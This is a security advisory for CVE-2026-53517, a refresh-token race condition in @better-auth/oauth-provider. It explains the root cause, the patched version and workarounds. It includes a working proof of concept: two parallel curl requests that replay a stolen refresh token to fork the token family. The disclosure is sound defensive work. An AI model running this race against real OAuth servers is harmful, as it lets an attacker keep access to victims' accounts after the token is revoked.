high · 8.1CVE-2026-53517Jul 7, 2026

CVE-2026-53517: @better-auth/oauth-provider Refresh Token Family Fork via Race Condition

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A race condition in the OAuth provider's token endpoint lets two concurrent requests redeem the same refresh token before either revocation is written, forking the token family and granting…

Package@better-auth/oauth-provider
Ecosystemnpm
Affected>= 1.6.0, < 1.6.11
Fixed in1.6.11

The problem

The POST /oauth2/token endpoint's refresh_token grant performs a non-atomic read / validate / revoke / mint sequence on the oauthRefreshToken row. Two concurrent requests presenting the same parent token both pass the revoked check before either write completes, so each mints a fresh refresh token.

This creates a forked token family. The replay-detection branch only fires when revoked is already truthy at read time, which is exactly the state a race skips past. An attacker holding one stolen refresh token can use this fork to maintain indefinite access at the original user's authorization scope, even if one branch is later revoked.

Proof of concept

A working proof-of-concept for CVE-2026-53517 in @better-auth/oauth-provider, with the exact payload below.

bash
# Send both requests in parallel (e.g. with curl --parallel or two browser tabs)
# Request A
curl -s -X POST https://auth.example.com/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'grant_type=refresh_token&refresh_token=STOLEN_RT&client_id=CLIENT_ID' &

# Request B (same refresh_token, same instant)
curl -s -X POST https://auth.example.com/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'grant_type=refresh_token&refresh_token=STOLEN_RT&client_id=CLIENT_ID' &

wait
# Both return 200 with distinct new refresh_tokens (RT_A and RT_B).
# Attacker holds RT_B; legitimate user holds RT_A.
# Revoking RT_A does not invalidate RT_B — family is now forked.

The root cause is a TOCTOU race (CWE-367): the revocation check (if (token.revoked) ...) is a separate DB read from the update that marks the row revoked. The adapter.update predicate was keyed on id only, so two concurrent writes both succeed (last-write-wins), and two fresh tokens are minted from one parent.

The patch adds an atomic compare-and-swap: UPDATE oauthRefreshToken SET revoked = NOW() WHERE id = ? AND revoked IS NULL. If the row was already revoked (by a racing request), the update matches zero rows, the operation fails closed, and the loser gets invalid_grant.

The oauthRefreshToken.token column also gains a UNIQUE constraint as defense-in-depth (CWE-294, CWE-613).

A companion fix in @better-auth/memory-adapter makes the eq null predicate treat undefined and null as equivalent, matching SQL IS NULL semantics so the CAS predicate works correctly against the in-memory adapter too.

The fix

Upgrade to @better-auth/oauth-provider@1.6.11 (or better-auth@1.6.11). The rotation primitive is now atomic and the losing concurrent request receives invalid_grant.

If you cannot upgrade immediately: add a row-level pessimistic lock (SELECT ... FOR UPDATE) around the refresh handler at the adapter level, or set oauthProvider({ refreshTokenExpiresIn: 60 }) to minimize the attacker's persistence window. Neither fully closes the race without the code patch.

For existing database installs, the unique constraint on oauthRefreshToken.token is not emitted automatically by migrate/generate. Add it manually: CREATE UNIQUE INDEX oauth_refresh_token_token_uniq ON "oauthRefreshToken" (token);

Reported by chdanielmueller.

References: [1][2][3][4]

Related research